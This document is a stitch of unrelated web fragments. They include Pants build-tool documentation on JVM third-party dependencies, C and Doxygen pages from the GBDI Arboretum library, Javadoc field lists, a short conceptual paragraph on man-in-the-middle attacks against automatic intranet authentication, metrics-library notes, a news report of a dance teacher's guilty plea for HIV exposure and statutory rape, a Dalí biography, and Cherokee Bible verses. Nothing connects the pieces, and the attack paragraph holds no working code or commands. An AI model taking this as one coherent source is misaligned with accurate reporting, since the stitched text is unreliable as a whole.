JVM 3rdparty Pattern
In general, we recommend the 3rdparty idiom for organizing dependencies on code from outside the source tree. This document describes how to make this work for JVM (Java or Scala) code.
Your JVM code can depend on external, third-party libraries. Pants uses Ivy to resolve and retrieve these JAR files. You should know the (Maven/Ivy groupId, artifactId, and version) you want to use.
3rdparty/jvm
If you have a small to medium number of third-party dependencies, you can define
them all in a single 3rdparty/jvm/BUILD
file. If you have a large number, it
may make sense to organize them in multiple subdirectories, say by category or by publisher.
In the appropriate BUILD
file, you create a jar_library
referencing the jar
s you want:
jar_library(name='junit', jars=[ jar('junit', 'junit', '4.12') ])
Here, the jar_library
's name
defines a target address that other build targets can refer to. The
jar
s refer to jars that Ivy can resolve and fetch.
Your Code's BUILD File
To set up your code to import the external jar, you add a dependency to
the appropriate Java target[s] in your BUILD
file and add import
statements in your Java code.
For example, your BUILD
file might have
dependencies=[ '3rdparty:junit',
And your Java code might have:
import org.junit.Test;
"Round Trip" Dependencies
It is possible for your code to exist as source in the repo but also be published as a binary to an external repository. If you happen to pull in any third party artifacts, they may express a dependency on the published version of the artifact. This means that the classpath will contain both the version in the repo compiled from source and an older version that was previously published. In this case, you want to be sure that when pants always prefers the version built from source.
Fortunately, the remedy for this is simple. If you add a provides=
parameter that matches the one used to publish the artifact, pants
will always prefer the local target definition to the
published jar.
jar_library(name='api', sources = globs('*.java'), provides = artifact(org='org.archie', name='api', repo=myrepo,) )
Controlling JAR Dependency Versions
If you notice a small number of wrong-version things, then in a JVM
target, you can depend on a jar
that specifies a version and sets
force=True
to force using that version:
scala_library( name = "loadtest", dependencies = [ '3rdparty/bijection:bijection-scrooge', # our 3rdparty/BUILD still has 6.1.4 as the default version, but # finagle-[core|thrift] version 6.1.4 is superceded (evicted) by # version 6.4.1 # Force inclusion of version 6.1.4, until we're bumped to finagle 6.4.1+ jar(org='com.twitter', name='iago', rev='0.6.3', force=True), jar(org='com.twitter', name='finagle-core', rev='6.1.4', force=True), jar(org='com.twitter', name='finagle-thrift', rev='6.1.4', force=True), ], sources = ["LoadTestRecordProcessor.scala"])
If you notice that one "foreign" dependency pulls in mostly wrong
things, tell Pants not to pull in its dependencies. In your
3rdparty/.../BUILD
file, use jar
's intransitive
argument; then
carefully add hand-picked versions:
jar_library(name="retro-naming-factory", jars=[ jar(org='retro', name='retro-factory', rev='5.0.18', intransitive=True), ], dependencies=[ # Don't use retro's expected (old, incompatible) common-logging # version, yipe; use the same version we use everywhere else: '3rdparty/jvm/common-logging', ])
If you notice a small number of transitive dependencies to exclude
Rather than mark the jar
intransitive, you can exclude
some
transitive dependencies from JVM targets:
java_library(name = 'loadtest', dependencies = [ '3rdparty/storm:storm', ], sources = globs('*.java'), excludes = [ exclude('org.sonatype.sisu.inject', 'cglib') ] )
Managing Transitive Dependencies
The Problem
If you have jars that pull in many transitive dependencies, you probably want to constrain which versions of those transitive dependencies you pull in. This is valuable for:
- Security concerns (you may want to avoid artifacts with known vulnerabilities, or you may only want to use particular jars which you trust).
- Predictable and consistent behavior across all projects in your repository (described below).
- Caching concerns/build times (described below).
Otherwise, you may have some targets that end up being built with
version 1.2.3
of a transitive dependency, and others that get built with
4.5.6
of that dependency. Worse, the same target might be built with
different versions of a transitive dependency depending on what other
targets happen to be part of the same pants invocation. To illustrate
this, consider the diagram below:
Assume foo
and bar
are binary targets. If you build a binary of foo
with ./pants binary foo
, foo
will be packaged with the example
jar
in addition to its transitive dependencies, which will be resolved as the
common
jar, version 1.2.3
.
Likewise, if you run ./pants binary bar
, it will be packaged with demo
,
and the transitive dependencies of demo
, which here is simply the common
jar version 4.5.6
.
However, if you run ./pants binary foo bar
, ivy will only resolve one
version of common-1.2.3
, which most likely means that both foo
and bar
will get common
version 4.5.6
(because it is the more recent version).
This is a problem, because it may be that common-4.5.6
is not compatible
with 3rdparty:example
, which will break the foo
binary at runtime.
More subtly, if you have many intermediate java_library
targets between
your jvm_binaries
and your jar_library
targets (which is normaly the
case), simply changing which combination of java_library
targets are in
the same ./pants
invocation may invalidate the cache and force Pants to
recompile them, even if their sources are unchanged. This is because they
may resolve different versions of their transitive jar dependencies than
the previous time they were compiled, which means their classpaths will be
different. Getting a different classpath causes a cache-miss, forcing a
recompile. In general recompiling when the classpath changes is the
correct thing to do, however this means that unstable transitive
dependencies will cause a lot of cache-thrashing. If you have a large
repository with a large amount of code, recompiles get expensive.
Possible Solutions
There are a few ways to avoid or work around these problems. A simple method is to use the strict ivy conflict manager, which will cause the jar resolution to fail with an error if it detects two artifacts with conflicting versions. This has the advantage of forcing a dev to be aware of (and make a decision about) confliction versions.
You could also disable transitive jar resolution altogether, and explicitly declare every dependency you need. This ensures that you have total control over your external dependencies, but can be difficult to maintain.
The third option is using managed_jar_dependencies
, to pin the versions of
the subset of your transitive dependencies that you care about.
Managed Jar Dependencies
Maven handles this problem with the <dependencyManagement>
stanza,
and Pants has similar functionality via the managed_jar_dependencies
target.
You can set up your 3rdparty/BUILD
file like so:
managed_jar_dependencies(name='management', artifacts=[ ':commons-io', ':jersey-core', ], ) jar_library(name='commons-io', jars=[ jar('commons-io', 'commons-io', '2.5'), ], ) jar_library(name='jersey-core', jars=[ jar('com.sun.jersey', 'jersey-core', '1.19.1'), ], )
And in pants.ini
, add:
[jar-dependency-management] default_target: 3rdparty:management
This will force all jar_library
targets in your repository to use the
versions of commons-io
and jersey-core
referenced by the management
target. When resolving transitive dependencies, Pants will always choose
the versions "pinned" by the managed dependencies target.
If a jar_library
omits the version for one of its jar()
s, it will use
the version defined in managed_jar_dependencies
. If a jar()
defines a
version that conflicts with the version set in managed_jar_dependencies
,
an error will be raised and the build will fail (though this behavior can
be modified via the conflict_strategy
option).
This is a bit verbose, and entails a bit of duplicate code (you have to
mention jersey-core
3 times in the above example). You can use the
managed_jar_libraries
target factory instead to make your 3rdparty/BUILD
definitions more concise.
This example is equivalent to the one earlier, but using managed_jar_libraries
instead:
managed_jar_libraries(name='management', artifacts=[ jar('commons-io', 'commons-io', '2.5'), jar('com.sun.jersey', 'jersey-core', '1.19.1'), ], )
This automatically generates jar_library
targets for you, and makes a
managed_jar_dependencies
target to reference them. (Note that you still
need to make the same change to pants.ini).
The generated library targets follow the naming convention
org.name.classifier.ext
, where classifier
and ext
are omitted if they
are the default values.
So in the above example will generate two jar_library
targets, called
3rdparty:commons-io.commons-io
and 3rdparty:com.sun.jersey.jersey-core
.
The artifacts list of managed_jar_libraries
can also accept target
addresses to already-existing jar_libraries
, just like a normal
managed_jar_dependences
target. In this case, managed_jar_libraries
will just use the referenced target, rather than generating a new one.
With Pants you can create multiple managed_jar_dependencies
.
If you have more than one, for any particular jar_library
, you can define
which managed_jar_dependencies
it uses explicitly (rather than using the
default defined in pants.ini
):
jar_library(name='org.apache.hadoop-alternate', jars=[ jar('org.apache.hadoop', 'hadoop-common', '2.7.0'), ], managed_dependencies='3rdparty:management-alternate', )
Using a SNAPSHOT JVM Dependency
Sometimes your code depends on a buggy external JVM dependency. You
think you've fixed the external code, but want to test locally before
uploading it to make sure. To do this, in the jar
dependency for the
artifact, specify the url
attribute to point to the local file and
change the rev
. If you are actively making changes to the dependency,
you can also use the mutable
jar attribute to re-import the file each
time pants is run (otherwise, pants will cache it):
jar_library(name='checkstyle', jars = [ jar(org='com.puppycrawl.tools', name='checkstyle', rev='5.5-SNAPSHOT', url='file:///Users/pantsdev/Src/checkstyle/checkstyle.jar', mutable=True), ], )


This web page represents a legal document and is the Terms of Use (Agreement) for our sample application, GWT Responsive Design (Application). By using our Application, you agree to fully comply with and be bound by the following Agreement each time you use our Application. Please review the following terms carefully.
THE PROGRAM IS DISTRIBUTED IN THE HOPE THAT IT WILL BE USEFUL, BUT WITHOUT ANY WARRANTY. IT IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW THE AUTHOR WILL BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF THE AUTHOR HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.


00001 /********************************************************************** 00002 * GBDI Arboretum - Copyright (c) 2002-2004 GBDI-ICMC-USP 00003 * 00004 * Homepage: http://gbdi.icmc.usp.br/arboretum 00005 **********************************************************************/ 00006 /* ==================================================================== 00007 * The GBDI-ICMC-USP Software License Version 1.0 00008 * 00009 * Copyright (c) 2004 Grupo de Bases de Dados e Imagens, Instituto de 00010 * Ciências Matemáticas e de Computação, University of São Paulo - 00011 * Brazil (the Databases and Image Group - Intitute of Matematical and 00012 * Computer Sciences). All rights reserved. 00013 * 00014 * Redistribution and use in source and binary forms, with or without 00015 * modification, are permitted provided that the following conditions 00016 * are met: 00017 * 00018 * 1. Redistributions of source code must retain the above copyright 00019 * notice, this list of conditions and the following disclaimer. 00020 * 00021 * 2. Redistributions in binary form must reproduce the above copyright 00022 * notice, this list of conditions and the following disclaimer in 00023 * the documentation and/or other materials provided with the 00024 * distribution. 00025 * 00026 * 3. The end-user documentation included with the redistribution, 00027 * if any, must include the following acknowledgment: 00028 * "This product includes software developed by Grupo de Bases 00029 * de Dados e Imagens, Instituto de Ciências Matemáticas e de 00030 * Computação, University of São Paulo - Brazil (the Databases 00031 * and Image Group - Intitute of Matematical and Computer 00032 * Sciences)" 00033 * 00034 * Alternately, this acknowledgment may appear in the software itself, 00035 * if and wherever such third-party acknowledgments normally appear. 00036 * 00037 * 4. The names of the research group, institute, university, authors 00038 * and collaborators must not be used to endorse or promote products 00039 * derived from this software without prior written permission. 00040 * 00041 * 5. The names of products derived from this software may not contain 00042 * the name of research group, institute or university, without prior 00043 * written permission of the authors of this software. 00044 * 00045 * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED 00046 * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 00047 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 00048 * DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OF THIS SOFTWARE OR 00049 * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 00050 * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 00051 * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF 00052 * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND 00053 * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 00054 * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT 00055 * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 00056 * SUCH DAMAGE. 00057 * 00058 * ==================================================================== 00059 * http://gbdi.icmc.usp.br/ 00060 */ 00073 // Copyright (c) 2002 GBDI-ICMC-USP 00074 #ifndef __STTYPES_H 00075 #define __STTYPES_H 00076 00077 00082 //#define __stDEBUG__ 00083 00087 #define __stVIEW__ 00088 00089 // Basic integer types 00090 #if defined(__GNUC__) 00091 // GNU C 00096 typedef unsigned short stWord; 00097 00102 typedef unsigned long stDWord; 00103 00108 typedef unsigned long long stQWord; 00109 #elif defined(__BORLANDC__) 00110 // Borland C 00111 00116 typedef unsigned __int16 stWord; 00117 00122 typedef unsigned __int32 stDWord; 00123 00128 typedef unsigned __int64 stQWord; 00129 #elif defined(_MSC_VER) 00130 // MS Visual C++ 00135 typedef unsigned __int16 stWord; 00136 00141 typedef unsigned __int32 stDWord; 00142 00147 typedef unsigned __int64 stQWord; 00148 #else 00149 // Default 00154 typedef unsigned short stWord; 00155 00160 typedef unsigned long stDWord; 00161 00167 typedef unsigned long stQWord; 00168 00169 #pragma message "stQWord is not properly defined." 00170 #endif // defined 00171 00172 00177 typedef unsigned char stByte; 00178 00184 typedef stDWord stPageID; 00185 00191 typedef stDWord stSize; 00192 00198 typedef double stDistance; 00199 00205 typedef stDWord stCount; 00206 00212 typedef stWord stNodeType; 00213 00214 #endif //__STTYPES_H


-
isConfigDirty
boolean isConfigDirty
Is the editing of the config file dirty or not. Used for propagating dirty state
to and from parent-child configuration editing activities.
-
configuration
DeviceConfiguration configuration
The overall configuration we are to edit, if any
-
currentItems
java.util.List<E> currentItems
The list of items we are to edit, if any
-
itemClass
java.lang.Class<T> itemClass
-
initialPortNumber
int initialPortNumber
The initial port number for the items list
-
maxItemCount
int maxItemCount
If we are editing a list, then this is the size of the list to present
to the user, which will always be at least the size of currentItems. If
this value is zero, then the editor should uses it's own internal notion
of this maximum list size
-
i2cBus
int i2cBus
the I2C bus number (only applicable to REV)
-
growable
boolean growable
whether the user can grow the size of the list or not
-
scannedDevices
ScannedDevices scannedDevices
what we know to be on the USB bus
-
robotConfigMap
RobotConfigMap robotConfigMap
for a USB controller, the entire list of controllers we have attached
-
haveRobotConfigMapParameter
boolean haveRobotConfigMapParameter
-
extantRobotConfigurations
java.util.List<E> extantRobotConfigurations
the list of robot configurations we know about
-
controlSystem
ControlSystem controlSystem
the type of Control System that is being edited
-
currentCfgFile
RobotConfigFile currentCfgFile
optional explicit configuration


Man-in-the-middle attack
Man-in-the-middle attacks, where an attacker takes over the traffic of a victim, are often quite disruptive in enterprise networks, especially when using techniques such as ARP spoofing. However, when corporate devices are connected to untrusted networks (such as public WiFi networks), an attacker can attack the victim and intercept traffic which is not secured with TLS, redirecting this to a location trusted by the victim’s workstation. The victim will then automatically authenticate if Automatic Intranet Detection is enabled (which is the default).


The 2.x API is currently unstable. Please check back in July 2014 or watch for changes.
Add metrics for any web application. This can be done in minutes using Enhancement for JAX-RS or Spring MVC web applications.
Monitor the behaviour of your Ebean ORM applications in production, test, dev.
The metrics library I most liked and used was codahale/metrics. It has some great features but in getting into it I realised there were benefits to a simple metrics with very low overhead and regular collection (every minute).
Use LongAdder, Simple metrics (count/total/average/maximum) are not only relatively cheap to collect even on busy highly concurrent applications they also are easy to 'roll up' afterwards. Metrics can be collected every 1 minute and then metrics older than say 1 month can be 'rolled up' to 5 minute or 10 minute intervals and still be very representative.
For "Timed Events" codehale/metrics is orientated towards using Moving Averages and Histograms and these are relatively heavy weight collectors.
Provide separate error and non-error metric collection for "Timed Events". This is useful when collecting metrics where errors might have quite a different value characteristics (as in the case of soap operations and database operations etc). This means the 'statistics' for error events are keep separate from the 'normal behaviour statistics'. It also means you can easily monitor the error rate (error count to success count) for each metric.
Although Moving Averages are good, once you go to collecting and reporting metrics every minute then moving averages (expotentially weighted moving averages) are quite laggy relative to the actual aggregate statistics collected and reset every minute. If you didn't collect and report the statistics every minute (or more frequently) then the Moving Averages would be great but the intention for avaje-metrics is to collect and report the statistics every minute by default.
Histograms are good but with min and max collected and reported every minute you can get a similar value with a much lower overhead.
In summary avaje-metric has moved away from Moving Averages and Histograms in favour of regular collection and reporting of simple aggregate statistics.


A brilliantly constructed retrospective of prolific musical theatre collaborators, Kander and Ebb.
Filled with humor, romance, drama, and nonstop melody this title is a thrilling celebration of life and the fighting spirit that keeps us all going. Five individuals find themselves careening through the world of love, babies, and coffee. From Cabaret to Chicago the non-stop hit-parade features unforgettable gems including "Mr. Cellophane," "Maybe this Time," "Cabaret," and "New York, New York", seamlessly interwoven into a passionate, harmonious, up-tempo evening of musical theatre.


{% extends "layout.html" %} {% block page_title %} GOV.UK prototype kit {% endblock %} {% block content %} What do you want to do? View all PE and sport premium allocations for 2017 to 2018 Sign in to the skills funding service Next {% endblock %}


Various parent website content. There should be a clickable button below, which is inside an iframe containing a Mithril.js app:


Dance teacher pleads guilty to exposing teen boy to HIV
MEMPHIS, Tenn. (AP) - A dance teacher who appeared on a reality TV show has pleaded guilty in Tennessee to raping a teenage student and exposing him to the AIDS virus.
The Shelby County district attorney’s office said Tuesday that 30-year-old John Conner III avoided trial when he pleaded guilty to criminal exposure to HIV, statutory rape by an authority figure and solicitation of a minor.

Prosecutors say Conner did not tell the teen that he had HIV. The boy later tested positive for HIV.
Conner has appeared on the Lifetime show “Bring It.” His sentencing is scheduled on Dec. 20.
Conner has two other cases pending involving sexual partners ages 17 and 24.
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How to use?
Edit your quick settings menu.
Add icon to your toolbar.
After selecting it, your screen will be forced into landscape in any app, with possibility to change it to reverse landscape when flipping the phone.
Select it again and now it will go back to normal.
Special thanks:
Jared Chen (great suggestions regarding features)
This app is completely free for use and has no ads, please rate it and check out my other apps!


Online & Offline tools for Climbers and Guide Publishers
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Put your climbs on your blog or page. Monitor your stats. Improve. You have so many Maps of routes, that you decide to create and sell your climbing Guide.
We want to be site where climbers build open database of climbing routes by sharing routes they climbed. Join us now.
See our News to see what's new. Follow us on Facebook, Google and Twitter. Get support on social networks or contact us directly. Share link to this project to help us.


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#include <stDFTree.h>
Public Types | |
| typedef stDFLogicNode< ObjectType, EvaluatorType > | tLogicNode |
| typedef stDFGlobalRep< ObjectType, EvaluatorType > | tGR |
Public Member Functions | |
| stDFMSTSplitter (tLogicNode *node) | |
| ~stDFMSTSplitter () | |
| const tLogicNode * | GetLogicNode () |
| int | Distribute (stDFIndexNode *node0, ObjectType *&rep0, stDFIndexNode *node1, ObjectType *&rep1, EvaluatorType *metricEvaluator, tGR *GR) |
| int | Distribute (stDFLeafNode *node0, ObjectType *&rep0, stDFLeafNode *node1, ObjectType *&rep1, EvaluatorType *metricEvaluator, tGR *GR) |
Protected Types | |
| typedef stDFGlobalRep< ObjectType, EvaluatorType > | tGR |
| typedef stGenericMatrix< stDistance > | tDistanceMatrix |
| enum | tClusterState { ALIVE, DEAD, DEATH_SENTENCE } |
Protected Member Functions | |
| int | FindCenter (int clus) |
| stDistance | GetMatrixDistance (int idi, int idj) |
| int | BuildDistanceMatrix (EvaluatorType *metricEvaluator) |
| void | PerformMST (tGR *GR) |
| void | JoinClusters (int cluster1, int cluster2) |
Protected Attributes | |
| friend | stDFGlobalRep<ObjectType, EvaluatorType> |
| tLogicNode * | Node |
| tDistanceMatrix | DMat |
| tCluster * | Cluster |
| int * | ObjectCluster |
| int | N |
| int | Cluster0 |
| int | Cluster1 |
Joselene<EMAIL_ADDRESS>Tests!
Definition at line 565 of file stDFTree.h.
|
|
Distance matrix type. Definition at line 624 of file stDFTree.h. |
|
|
This type implements the GR. Definition at line 619 of file stDFTree.h. |
|
|
This type implements the GR. Definition at line 577 of file stDFTree.h. |
|
|
This type defines the logic node for this class. Definition at line 572 of file stDFTree.h. Referenced by stDFMSTSplitter< ObjectType, EvaluatorType >::GetLogicNode(). |
|
|
Cluster states. Definition at line 629 of file stDFTree.h. |
|
|
Builds a new instance of this class. It will claim the ownership of the logic node provided as input. |
|
|
Disposes all associated resources. |
|
|
Builds the distance matrix using the given metric evaluator.
|
|
|
Distributes objects between 2 leaf nodes. |
|
|
Distributes objects between 2 index nodes. |
|
|
Returns the center of the object in the cluster clus. The.
|
|
|
Provides access to the logic node. Definition at line 593 of file stDFTree.h. References stDFMSTSplitter< ObjectType, EvaluatorType >::Node, and stDFMSTSplitter< ObjectType, EvaluatorType >::tLogicNode. |
|
|
Returns the distance of a given index.
Definition at line 714 of file stDFTree.h. References stDFMSTSplitter< ObjectType, EvaluatorType >::DMat, and stDistance. |
|
|
Joins 2 clusters. This method will insert custer2 into cluster1. The state of cluster2 will change to DEATH_SENTENCE.
|
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Performs the MST algorithm. This method will split the objects in 2 clusters. The result of the processing will be found at the array Cluster.
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All clusters. Definition at line 678 of file stDFTree.h. |
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Name of the cluster 0. Definition at line 693 of file stDFTree.h. |
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Name of the cluster 1. Definition at line 698 of file stDFTree.h. |
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The distance matrix. Definition at line 673 of file stDFTree.h. Referenced by stDFMSTSplitter< ObjectType, EvaluatorType >::GetMatrixDistance(). |
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Total number of objects. Definition at line 688 of file stDFTree.h. |
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The logic node to be used as source. Definition at line 668 of file stDFTree.h. Referenced by stDFMSTSplitter< ObjectType, EvaluatorType >::GetLogicNode(). |
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The names of the cluster of each object Definition at line 683 of file stDFTree.h. |
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Definition at line 614 of file stDFTree.h. |


Table of Contents
0. Overview
0.1 About the User Guide
0.2 What's in commons-math
0.3 How commons-math is organized
0.4 How interface contracts are specified in commons-math javadoc
0.5 Dependencies
1. Statistics
1.1 Overview
1.2 Descriptive statistics
1.3 Frequency distributions
1.4 Simple regression
1.5 Multiple Regression
1.6 Rank transformations
1.7 Covariance and correlation
1.8 Statistical Tests
2. Data Generation
2.1 Overview
2.2 Random numbers
2.3 Random Vectors
2.4 Random Strings
2.5 Random permutations, combinations, sampling
2.6 Generating data 'like' an input file
2.7 PRNG Pluggability
3. Linear Algebra
3.1 Overview
3.2 Real matrices
3.3 Real vectors
3.4 Solving linear systems
3.5 Eigenvalues/eigenvectors and singular values/singular vectors
3.6 Non-real fields (complex, fractions ...)
4. Numerical Analysis
4.1 Overview
4.2 Error handling
4.3 Root-finding
4.4 Interpolation
4.5 Integration
4.6 Polynomials
4.7 Differentiation
5. Special Functions
5.1 Overview
5.2 Erf functions
5.3 Gamma functions
5.4 Beta funtions
6. Utilities
6.1 Overview
6.2 Double array utilities
6.3 int/double hash map
6.4 Continued Fractions
6.5 Binomial coefficients, factorials, Stirling numbers and other common math functions
6.6 Fast mathematical functions
6.7 Miscellaneous
7. Complex Numbers
7.1 Overview
7.2 Complex Numbers
7.3 Complex Transcendental Functions
7.4 Complex Formatting and Parsing
8. Probability Distributions
8.1 Overview
8.2 Distribution Framework
8.3 User Defined Distributions
9. Fractions
9.1 Overview
9.2 Fraction Numbers
9.3 Fraction Formatting and Parsing
10. Transform methods
11. Geometry
11.1 Overview
11.2 Vectors
11.3 Rotations
12. Optimization
12.1 Overview
12.2 Univariate Functions
12.3 Linear Programming
12.4 Direct Methods
12.5 General Case
12.6 Curve Fitting
13. Ordinary Differential Equations Integration
13.1 Overview
13.2 Continuous Output
13.3 Discrete Events Handling
13.4 Available Integrators
13.5 Derivatives
14. Genetic Algorithms
14.1 Overview
14.2 GA Framework
14.3 Implementation and Examples
15. Filters
15.1 Overview
15.2 Kalman Filter
16. Exceptions
16.1 Overview
16.2 Unchecked Exceptions
16.3 Hierarchies
16.4 Features


Life
Salvador Domingo Felipe Jacinto Dalí i Domènech, Marquis of Dalí de Púbol was a Spanish Surrealist artist, born on May 11 1904 in Spain.
Born in Figueres, Catalonia, Dalí was a skilled draftsman, best known for the striking and bizarre images in his work. His painterly skills are often attributed to the influence of Renaissance masters. His best-known work, The Persistence of Memory, was completed in August 1931, and is one of the most recognisable Surrealist paintings. Dalí's expansive artistic repertoire included film, sculpture, and photography, at times in collaboration with a range of artists in a variety of media.
Dalí was highly imaginative, and also enjoyed indulging in unusual and grandiose behavior. To the dismay of those who held his work in high regard, and to the irritation of his critics, his eccentric manner and attention-grabbing public actions sometimes drew more attention than his artwork.
On the morning of 23 January 1989, while his favorite record of Tristan and Isolde played, Dalí died of heart failure at the age of 84. He is buried in the crypt below the stage of his Theatre and Museum in Figueres. The location is across the street from the church of Sant Pere, where he had his baptism, first communion, and funeral, and is only 450 metres (1,480 ft) from the house where he was born.
The Gala-Salvador Dalí Foundation currently serves as his official estate. The US copyright representative for the Gala-Salvador Dalí Foundation is the Artists Rights Society.
Honours & Exhibitions
- 1964: Knight Grand Cross of the Order of Isabella the Catholic
- 1972: Associate member of the Royal Academy of Science, Letters and Fine Arts of Belgium
- 1981: Knight Grand Cross of the Order of Charles III
- 1982: Created 1st Marqués de Dalí de Púbol, by King Juan Carlos
- Member of the Legion of Honour
- Associate member of the Académie des Beaux-Arts of the Institut de France
- Art Bank, private exhibition – Pargas, Finland
- Dalí – Die Ausstellung am Potsdamer Platz – Berlin, Germany, a museum with a permanent exhibition
- Dalí Theatre and Museum – Figueres, Catalonia, Spain, holds the largest collection of Dalí's work
- Dalí Universe – London, England, holds a significant collection
- Dalí17 – Monterey, California, US, permanent exhibition
- Espace Dalí – Paris, France, holds a significant collection
- Gala Dalí House-Museum – Castle of Púbol in Púbol, Catalonia, Spain
- Morohashi Museum of Modern Art - Kitashiobara, Fukushima, Japan, holds a significant collection
- Museo Nacional Centro de Arte Reina Sofia (Reina Sofia Museum) – Madrid, Spain, holds a significant collection
- Museum-Gallery Xpo: Salvador Dalí – Bruges, Belgium, permanent exhibition
- Salvador Dalí Gallery – San Juan Capistrano, California, US; holds a significant collection
- Salvador Dalí House Museum – Port Lligat, Catalonia, Spain
- Salvador Dalí Museum – St Petersburg, Florida, contains the collection of Reynolds and Eleanor Morse, and over 1500 works by Dalí, including seven large "masterworks"
Legacy
In Carlos Lozano's biography, Sex, Surrealism, Dalí, and Me, produced with the collaboration of Clifford Thurlow, Lozano makes it clear that Dalí never stopped being a surrealist. As Dalí said of himself:
"The only difference between me and the surrealists is that I am a surrealist."
Salvador Dalí has been cited as a major inspiration by many modern artists, such as Damien Hirst, Jeff Koons, and most other modern surrealists. Salvador Dalí's manic expression and famous moustache have made him something of a cultural icon for the bizarre and surreal. He has been portrayed on film by Robert Pattinson in Little Ashes (2008), and by Adrien Brody in Midnight in Paris (2011). He was also parodied in a series of painting skits on Captain Kangaroo as "Salvador Silly" (played by Cosmo Allegretti) and in a Sesame Street muppet skit as "Salvador Dada" (an orange gold Anything Muppet performed by Jim Henson).
The Salvador Dalí Desert in Bolivia and the Dali crater on the planet Mercury are named for him.


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| Now of the things which we have spoken this is the sum: We have such an high priest, who is set on the right hand of the throne of the Majesty in the heavens;
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| ᎾᏍᎩᏃ ᎯᎠ ᏥᏗᏃᎮᎭ, ᎯᎠ ᎾᏍᎩ Ꮀ ᏄᎬᏫᏳᏒ ᏂᎦᎵᏍᏗᎭ; ᎾᏍᎩ ᏄᏍᏗ ᎢᎩᎧᎭ ᏄᎬᏫᏳᏒ ᎠᏥᎸ-ᎨᎶᎯ, ᎾᏍᎩ ᎠᎦᏘᏏᏗᏢ ᎦᎸᏉᏗᏳ ᎦᏍᎩᎸ ᎦᎸᎶᎢ ᎤᏪᏅ;
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Na-s-gi-no hi-a tsi-di-no-he-ha, hi-a na-s-gi ho nu-gv-wi-yu-sv ni-ga-li-s-di-ha; na-s-gi nu-s-di i-gi-ka-ha nu-gv-wi-yu-sv a-tsi-lv--ge-lo-hi, na-s-gi a-ga-ti-si-di-tlv Ga-lv-quo-di-yu ga-s-gi-lv ga-lv-lo-i u-we-nv;
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| A minister of the sanctuary, and of the true tabernacle, which the Lord pitched, and not man.
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| ᏧᎸᏫᏍᏓᏁᎯ ᎦᎸᏉᏗᏳ ᏗᎨᏒᎢ ᎠᎴ ᎤᏙᎯᏳᎯ ᏗᎦᎵᏦᏛᎢ, ᎾᏍᎩ ᎤᎬᏫᏳᎯ ᎤᎵᏦᏔᏅᎯ ᎨᏒᎢ, ᎥᏝᏃ ᏴᏫ.
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Tsu-lv-wi-s-da-ne-hi ga-lv-quo-di-yu di-ge-sv-i a-le u-do-hi-yu-hi di-ga-li-tso-dv-i, na-s-gi U-gv-wi-yu-hi u-li-tso-ta-nv-hi ge-sv-i, v-tla-no yv-wi.
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| For every high priest is ordained to offer gifts and sacrifices: wherefore it is of necessity that this man have somewhat also to offer.
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| ᎾᏂᎥᏰᏃ ᏄᏂᎬᏫᏳᏒ ᎠᏥᎸ-ᎠᏁᎶᎯ ᎨᏥᏁᏤᎸᎯ ᎨᏐ ᏧᎾᎵᏍᎪᎸᏙᏗᏱ ᎠᏓᏁᏗ ᎨᏒ ᎠᎴ ᎠᏥᎸ-ᏗᎨᎳᏍᏙᏗ ᎨᏒᎢ; ᎾᏍᎩ ᎢᏳᏍᏗ ᎯᎠ ᎾᏍᎩ ᎠᏍᎦᏯ ᎾᏍᏉ ᎠᏎ ᎪᎱᏍᏗ ᎤᏲᎯᏍᏗ ᎨᏎ ᎤᎵᏍᎪᎸᏙᏗ.
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Na-ni-v-ye-no nu-ni-gv-wi-yu-sv a-tsi-lv--a-ne-lo-hi ge-tsi-ne-tse-lv-hi ge-so tsu-na-li-s-go-lv-do-di-yi a-da-ne-di ge-sv a-le a-tsi-lv--di-ge-la-s-do-di ge-sv-i; na-s-gi i-yu-s-di hi-a na-s-gi a-s-ga-ya na-s-quo a-se go-hu-s-di u-yo-hi-s-di ge-se u-li-s-go-lv-do-di.
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| For if he were on earth, he should not be a priest, seeing that there are priests that offer gifts according to the law:
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| ᎢᏳᏰᏃ ᎡᎶᎯ ᏱᎦᏰᎮᎢ, ᎥᏝ ᎠᏥᎸᎨᎶᎯ ᏱᎦᎨᏎᎢ, ᎢᎠᏁᎭᏰᏃ ᎠᏥᎸ-ᎠᏁᎶᎯ ᎠᏓᏁᏗ ᎨᏒ ᎠᎾᎵᏍᎪᎸᏗᏍᎩ ᏗᎧᎿᎭᏩᏛᏍᏗ ᏂᎬᏅ ᎾᏍᎩᏯᎢ;
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I-yu-ye-no e-lo-hi yi-ga-ye-he-i, v-tla a-tsi-lv-ge-lo-hi yi-ga-ge-se-i, i-a-ne-ha-ye-no a-tsi-lv--a-ne-lo-hi a-da-ne-di ge-sv a-na-li-s-go-lv-di-s-gi di-ka-hna-wa-dv-s-di ni-gv-nv na-s-gi-ya-i;
